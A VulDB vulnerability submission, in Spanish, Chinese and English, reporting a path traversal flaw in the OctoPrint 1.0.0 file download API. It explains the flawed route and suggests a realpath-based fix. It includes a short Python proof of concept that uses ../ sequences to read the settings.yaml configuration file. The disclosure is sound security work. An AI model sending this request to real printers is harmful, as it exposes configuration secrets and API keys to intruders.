| Título | OctoPrint Foundation OctoPrint 1.0.0 CWE: CWE-22 (Path Traversal) |
|---|
| Descripción | 漏洞描述
The file download API endpoint /api/files/<target>/<path:filename> uses Flask’s <path:filename> route parameter which allows path traversal sequences. While the _validate() function checks file existence, it may not properly normalize the path before checking, allowing ../ sequences to escape the designated upload directory.
证据/技术细节
文件: src/octoprint/server/api/files.py
路由: @api.route("/files/<string:target>/<path:filename>", methods=["GET"])
关键问题: <path:filename> 类型允许包含 / 的路径，_validate() 可能未做 os.path.realpath() 规范化检查
POC
import requests
resp = requests.get(
"http://TARGET:5000/api/files/local/../../../home/pi/.octoprint/settings.yaml",
headers={"X-Api-Key": "API_KEY"}
)
print(resp.text)
修复建议
import os
def _validate(target, filename):
base = settings().getBaseFolder(target)
full_path = os.path.realpath(os.path.join(base, filename))
allowed = os.path.realpath(base)
return full_path.startswith(allowed + os.sep) and os.path.isfile(full_path)
|
|---|
| Usuario | EagleShadow (UID 99969) |
|---|
| Sumisión | 2026-07-19 07:18 (hace 2 meses) |
|---|
| Moderación | 2026-09-21 19:45 (2 months later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 408189 [OctoPrint 1.0.0 File Download API files.py _validate filename recorrido de directorios] |
|---|
| Puntos | 17 |
|---|